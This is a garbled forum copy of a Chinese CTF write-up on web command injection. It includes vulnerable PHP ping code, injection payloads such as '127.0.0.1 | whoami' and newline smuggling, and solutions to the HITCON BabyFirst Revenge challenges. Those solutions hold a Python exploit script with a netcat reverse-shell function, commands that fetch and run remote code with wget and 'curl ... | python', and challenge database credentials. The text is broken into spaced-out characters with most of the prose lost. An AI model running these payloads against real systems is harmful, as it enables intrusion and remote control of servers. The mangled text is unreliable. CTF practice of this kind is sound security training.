[21101] 2020-06-23_CTF-web--命令注入

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-06-23_CTF-web--命令注入 C T F - w e b - - L e m o n S e c   2 0 2 0 - 0 6 - 2 3 3 0   S Q L 使 s y s t e m p h p s q l , t r i c k l i n u x s q l p h p j a v a p y t h o n ( C o m m a n d   I n j e c t i o n ) E v a l   ( E v a l   I n j e c t i o n ) ( S c r i p t   I n s e r t i o n ) ( C r o s s   S i t e   S c r i p t i n g ,   X S S ) S Q L   ( S Q L   i n j e c t i o n ) ( D y n a m i c   V a r i a b l e   E v a l u a t i o n ) & a m p ;                 u r l = p h p : / / i n p u t         p o s t d a t a   =   < ? p h p     s y s t e m ( ' l s ' ) ;   ? > 1 P H P           s y s t e m           e x e c           p a s s t h r u           s h e l l _ e x e c 2 p y t h o n       - * - c o m m a n d s y s t e m p o p e n s u b p r o c e s s . c a l l s p a w n       - * - c o d e :   m a p f i l t e r r e d u c e . . .  
使 w w w f i n d   i n   f o l d e r s y s t e m F i n d W W W s y s t e m v a r i a b l e s s y s t e m #   p y t h o n   d e f   m y r e d u c e ( f u n c n a m e , p a r a m ) :         r e t u r n   f u n c n a m e ( p a r a m ) ( 3 ) j a v a     - * - c o m m a n d j a v a . l a n g . R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c o m m a n d )     _ * _ c o d e : j a v a e x e c e x e c
1 9 3 0 P H P H T M L 1 9 3 0 使 p i n g p i n g i p i s s e t P O S T P O S T t a r g e t 使 i f w i n d o w s c m d p i n g   t a r g e t p i n g   - c   3   t a r g e t 使 s h e l l _ e x e c c m d               P O S T > *   使 s h e l l _ e x e c P O S T       便 i p | , p i n g | , | o r p i n g | 1 1 P O S T G E T 2 U R L f i l e p a t h f i l e n a m e t h i n k p h p p y t h o n u r l _ f o r 2 O S 1 w e b h o s t n a m e i p a d d r e s s n e t m a s k g a t e w a y d n s s e r v e r e m a i l 2 p i n g t r a c e r t n s l o o k u p 3 f i n d l o c a t e 4 c p u i n f o m e m i n f o 5 s h u t d o w n i f c o n f i g   u p r e b o o t p o w e r o f f p a y l o a d 1 |   &   & & | |   2 p a y l o a d &   /       & a m p ; l t ; ? p h p       i f (   i s s e t (   $ _ P O S T [   ' s u b m i t '   ]   )   )         {                 $ t a r g e t   =   $ _ P O S T [   ' t a r g e t '   ] ;                 i f   ( s t r i s t r ( p h p _ u n a m e ( ' s ' ) ,   ' W i n d o w s   N T ' ) )   {                             $ c m d   =   ' p i n g   '   .   $ t a r g e t ;                 }   e l s e   {                             $ c m d   =   ' p i n g   - c   3   '   .   $ t a r g e t ;                 }                 $ r e s   =   s h e l l _ e x e c & a m p ; # 4 0 ;   $ c m d   & a m p ; # 4 1 ; ;                 e c h o   " & l t ; b r   / & g t ; & l t ; p r e & g t ; $ c m d r n " . i c o n v ( ' G B 2 3 1 2 ' ,   ' U T F -                 8 ' , $ r e s ) . " & l t ; / p r e & g t ; " ;       } ? > &   C M D 1   C M D 2 C M D 1 使 C M D 1   &   C M D 2 & &   C M D 1 C M D C M D 2 使 C M D 1   & &   C M D 2 | |   C M D 1 C M D 1 C M D 2 C M D 1 C M D 2 使 C M D 1   | |   C M D 2 c m d   =   1 2 7 . 0 . 0 . 1   |   w h o a m i c m d   =   1 2 7 . 0 . 0 . 1   &   w h o a m i
3 4 C T F   l i n u x 使 1 . B a b y f i r s t u r l 使 c m d   =   1 2 7 . 0 . 0 . 1   & &   w h o a m i c m d   =   ` w h o a m i ` c m d   =   ' / " | w h o a m i ' / "   / - > w h o a m i   i d n s l o o k u p   w g e t   d n s l o g   h t t p l o g   s h e l l h t t p : / / w w w . c n b l o g s . c o m / K e v i n G e o r g e / p / 8 1 2 0 2 2 6 . h t m l   p h p p h p i n f o ( ) ; p y t h o n i m p o r t   t i m e ; t i m e . s l e e p ( 2 0 ) , j a v a 2 0 1 8 . 8 . 5 $ ( )       使     e c h o   $ ( p r i n t ( x x x x x x x ) ) `   `       p i n g   w h o a m i < ? p h p         h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ;         $ d i r   =   ' s a n d b o x / '   .   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ;         i f   (   ! f i l e _ e x i s t s ( $ d i r )   )                 m k d i r ( $ d i r ) ;         c h d i r ( $ d i r ) ;         $ a r g s   =   $ _ G E T [ ' a r g s ' ] ;         f o r   (   $ i = 0 ;   $ i < c o u n t ( $ a r g s ) ;   $ i + +   ) {                 i f   (   ! p r e g _ m a t c h ( ' / ^ w + $ / ' ,   $ a r g s [ $ i ] )   )                         e x i t ( ) ;         }         e x e c ( " / b i n / o r a n g e   "   .   i m p l o d e ( "   " ,   $ a r g s ) ) ; ? > h t t p : / / l o c a l h o s t / ? a r g s [ 0 ] = x % 0 a       / / % 0 a & a r g s [ 1 ] = m k d i r & a r g s [ 2 ] = o r a n g e % 0 a     / / & a r g s [ 3 ] = c d & a r g s [ 4 ] = o r a n g e % 0 a       / / & a r g s [ 5 ] = w g e t & a r g s [ 6 ] = 8 4 6 4 6 5 2 6 3 % 0 a     / / h t t p : / / l o c a l h o s t / ? a r g s [ 0 ] = x % 0 a & a r g s [ 1 ] = t a r & a r g s [ 2 ] = c v f & a r g s [ 3 ] = a a & a r g s [ 4 ] = o r a n g e % 0 a     / / & a r g s [ 5 ] = p h p & a r g s [ 6 ] = a a     / /
1 W G E T I P 使 h t t p : / / 9 2 7 7 5 8 3 6 / 2 t a r P H P 2 .   B a b y F i r s t   R e v e n g e < = 5 . 1 l s > a   a   l s > > a   2 s h e l l 使 3 使 使 l s   - t 便 l s   - t > g a l s   - t   > g l s > a   a . . . a l s > a   & a r g s [ 6 ] = a a     / / / / m k d i r   e x p l o i t c d   e x p l o i t w g e t   9 2 7 7 5 8 3 6 t a r   c v f   a r c h i v e d   e x p l o i t p h p   a r c h i v e d / / " e x p l o i t "   : < ? p h p f i l e _ p u t _ c o n t e n t s ( ' s h e l l . p h p ' ,   '         < ? p h p         h e a d e r ( " C o n t e n t - T y p e :   t e x t / p l a i n " ) ;         p r i n t   s h e l l _ e x e c ( $ _ G E T [ " c m d " ] ) ;         ? > ' ) ; ? > < ? p h p         $ s a n d b o x   =   ' / w w w / s a n d b o x / '   .   m d 5 ( " o r a n g e "   .   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ) ;         @ m k d i r ( $ s a n d b o x ) ;         @ c h d i r ( $ s a n d b o x ) ;         i f   ( i s s e t ( $ _ G E T [ ' c m d ' ] )   & &   s t r l e n ( $ _ G E T [ ' c m d ' ] )   < =   5 )   {                 @ e x e c ( $ _ G E T [ ' c m d ' ] ) ;         }   e l s e   i f   ( i s s e t ( $ _ G E T [ ' r e s e t ' ] ) )   {                 @ e x e c ( ' / b i n / r m   - r f   '   .   $ s a n d b o x ) ;         }         h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; ? > e c h o   " c h y b e t a "       / / 使 - t > q a     / / l s   - t > q       / /   l s   - t > q > - t > > q > l > s   l s > a l s > > a
l s > > a   l s   - t > q u r l I P 1 0 l s   - t w g e t   2 0 7 7 1 7 3 * 4 8 a q f l a g r e a d m e . t x t i n d e x . h t m l s q l 访 f l a g > * 4 8 > 1 7 3 > 0 7 7 >   2 > e t > w g s h   a l s   - t > q s h   q ? c m d = r m % 2 0 i *       / /   i n d e x . h t m l ? c m d = s h % 2 0 a         / /   q w g e t i n d e x . h t m l ? c m d = s h % 2 0 i *       / /   i n d e x . h t m l s h e l l F l a g   i s   i n   t h e   M y S Q L   d a t a b a s e f l 4 4 4 4 g   /   S u g Z X U t g e J 5 2 _ B v r m y s q l   - u f l 4 4 4 4 g   - p S u g Z X U t g e J 5 2 _ B v r   - e   " s h o w   d a t a b a s e s ; "   >   k k 5 / /   访 h t t p : / / 5 2 . 1 9 9 . 2 0 4 . 3 4 / s a n d b o x / m d 5 / k k 5   D a t a b a s e i n f o r m a t i o n _ s c h e m a f l 4 g d b m y s q l   - u f l 4 4 4 4 g   - p S u g Z X U t g e J 5 2 _ B v r   - e   " S E L E C T   G R O U P _ C O N C A T ( t a b l e _ n a m e )   F R O M   I N F O R M A T I O N _ S C H E M A . T A B L E S   W H E R E   T A B L E _ S C H E M A = 0 x 6 6 6 c 3 4 6 7 6 4 6 2 "   >   k k 7
使 x x d a s c i i a s c i i > l s > > y y a s c i i y a c s i i y a s c i i > - p     > - r   > z , 使 x x d   * - p   - r y z y a c s i i z a c s i i y h e l l o       s h e l l 使 使 m y s q l   - u f l 4 4 4 4 g   - p S u g Z X U t g e J 5 2 _ B v r   - e   " S E L E C T   G R O U P _ C O N C A T ( t a b l e _ n a m e )   F R O M   I N F O R M A T I O N _ S C H E M A . T A B L E S   W H E R E   T A B L E _ S C H E M A = 0 x 6 6 6 c 3 4 6 7 6 4 6 2 "   >   k k 7 / / 访 h t t p : / / 5 2 . 1 9 9 . 2 0 4 . 3 4 / s a n d b o x / m d 5 / k k 7   G R O U P _ C O N C A T ( t a b l e _ n a m e ) t h i s _ i s _ t h e _ f l 4 g m y s q l   - u f l 4 4 4 4 g   - p S u g Z X U t g e J 5 2 _ B v r   - e   " ( S E L E C T   *   F R O M   f l 4 g d b . t h i s _ i s _ t h e _ f l 4 g "   >   k k 9 / / 访 h t t p : / / 5 2 . 1 9 9 . 2 0 4 . 3 4 / s a n d b o x / m d 5 / k k 9   s e c r e t h i t c o n { i d e a _ f r o m _ p h i t h 0 n , t h a n k _ y o u : ) } > 4 8 4 5     / / a s c i i l s > > y     / / y   r m   4 *     / / a s c i i > 4 c 4 c     / / l s > > y r m   4 * > 4 f l s > > y r m   4 *     / /   y         4 8 4 5 . y . 4 c 4 c . y . 4 f . y .   使 . > z         / / > - p       / / > - r       / /     - p   - r   y   z x x d   *   / /   x x d   - p   - r   y   z             / / y a c s i i z   h e l l o           c a t           f l a g         . t x t m k f i f o   f ;   n c   < h o s t >   < p o r t >   < f   |   b a s h   > f   2 > f i m p o r t   r e q u e s t s   a s   r q i m p o r t   h a s h l i b   a s   h i m p o r t   b i n a s c i i   a s   b a u r l   =   " h t t p : / / 5 2 . 1 9 9 . 2 0 4 . 3 4 / " i p i f y   =   " h t t p s : / / a p i . i p i f y . o r g " d e f   g e t _ i p ( ) :         r   =   r q . g e t ( i p i f y )         r e t u r n   r . t e x t f o l d e r   =   h . m d 5 ( b " o r a n g e "   +   g e t _ i p ( ) . e n c o d e ( ) ) . h e x d i g e s t ( ) d e f   r e s e t ( ) :         r q . g e t ( u r l ,   p a r a m s   =   {                 " r e s e t " :   1         } ) d e f   c m d ( c ) :         r q . g e t ( u r l ,   p a r a m s   =   {                 " c m d " :   c         } ) d e f   r e a d ( f ) :         r   =   r q . g e t ( u r l   +   " s a n d b o x / "   +   f o l d e r   +   " / "   +   f )         i f   r . s t a t u s _ c o d e   = =   2 0 0 :                 r e t u r n   r . t e x t
R E A D M E . t x t f l a g f l a g 3 . B a b y F i r s t   R e v e n g e   v 2 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 4 · t r i c k 1 . > N A M E                   r e t u r n   r . t e x t d e f   l o n g _ c m d ( c m d _ t e x t ) :         r e s e t ( )         c m d _ b y t e s   =   c m d _ t e x t . e n c o d e ( )         f o r   i   i n   r a n g e ( 0 ,   l e n ( c m d _ b y t e s ) ,   2 ) :                 c u r _ b y t e s   =   c m d _ b y t e s [ i : i   +   2 ]                 p r i n t ( " w r i t i n g   ' { } ' " . f o r m a t ( c u r _ b y t e s . d e c o d e ( ) ) )                 h e x _ c h a r s   =   b a . h e x l i f y ( c u r _ b y t e s ) . d e c o d e ( )                 c m d ( " > "   +   h e x _ c h a r s )                 c m d ( " l s > > y " )                 c m d ( " r m   "   +   h e x _ c h a r s [ 0 ]   +   " * " )         c m d ( " > z " )         c m d ( " > - p " )         c m d ( " > - r " )         c m d ( " x x d   * " )         c m d ( " s h   z " )         r e t u r n   r e a d ( " o " ) d e f   s h e l l ( c m d _ t e x t ) :         p r i n t ( l o n g _ c m d ( c m d _ t e x t ) ) d e f   r s h e l l ( h o s t ,   p o r t ) :         l o n g _ c m d ( " m k f i f o   f ;   n c   { }   { }   < f   |   b a s h   > f   2 > f " . f o r m a t ( h o s t ,   p o r t ) ) F l a g   i s   i n   t h e   M y S Q L   d a t a b a s e f l 4 4 4 4 g   /   S u g Z X U t g e J 5 2 _ B v r $   m y s q l   - u f l 4 4 4 4 g   - p S u g Z X U t g e J 5 2 _ B v r m y s q l >   S H O W   D A T A B A S E S ; D a t a b a s e i n f o r m a t i o n _ s c h e m a f l 4 g d b m y s q l >   u s e   f l 4 g d b ; S H O W   T A B L E S ; T a b l e s _ i n _ f l 4 g d b t h i s _ i s _ t h e _ f l 4 g m y s q l >   S E L E C T   *   F R O M   t h i s _ i s _ t h e _ f l 4 g ; s e c r e t h i t c o n { i d e a _ f r o m _ p h i t h 0 n , t h a n k _ y o u : ) } < ? p h p         $ s a n d b o x   =   ' / w w w / s a n d b o x / '   .   m d 5 ( " o r a n g e "   .   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ) ;         @ m k d i r ( $ s a n d b o x ) ;         @ c h d i r ( $ s a n d b o x ) ;         i f   ( i s s e t ( $ _ G E T [ ' c m d ' ] )   & &   s t r l e n ( $ _ G E T [ ' c m d ' ] )   < =   4 )   {                 @ e x e c ( $ _ G E T [ ' c m d ' ] ) ;         }   e l s e   i f   ( i s s e t ( $ _ G E T [ ' r e s e t ' ] ) )   {                 @ e x e c ( ' / b i n / r m   - r f   '   .   $ s a n d b o x ) ;         }         h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ; ? >
2 . l s > n a m e   3 . 4 .   *   5 . s h e l l l i u n x 6 . 4 t r i c k s h e l l c u r l   o r a n g . p w | p y t h o n   u r l o r a n g e 使 p y t h o n s h e l l   t r i c k h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 5 4 4 5 3 . h t m l       C S D N i a m s o n g y u h t t p s : / / b l o g . c s d n . n e t / i a m s o n g y u / a r t i c l e / d e t a i l s / 8 4 4 8 3 6 3 8 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -   h t t p s : / / w w w . c n b l o g s . c o m / K e v i n G e o r g e / p / 8 2 3 2 4 3 0 . h t m l h t t p s : / / b l o g . c s d n . n e t / k u i g u o w e i / a r t i c l e / d e t a i l s / 7 9 0 4 5 2 1 5 ? u t m _ s o u r c e = b l o g x g w z 9 t r i c k 1             d i r   a   b   > c t r i c k 2             * v = r e v   v t r i c k 3             l s   - t t r i c k 4            
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则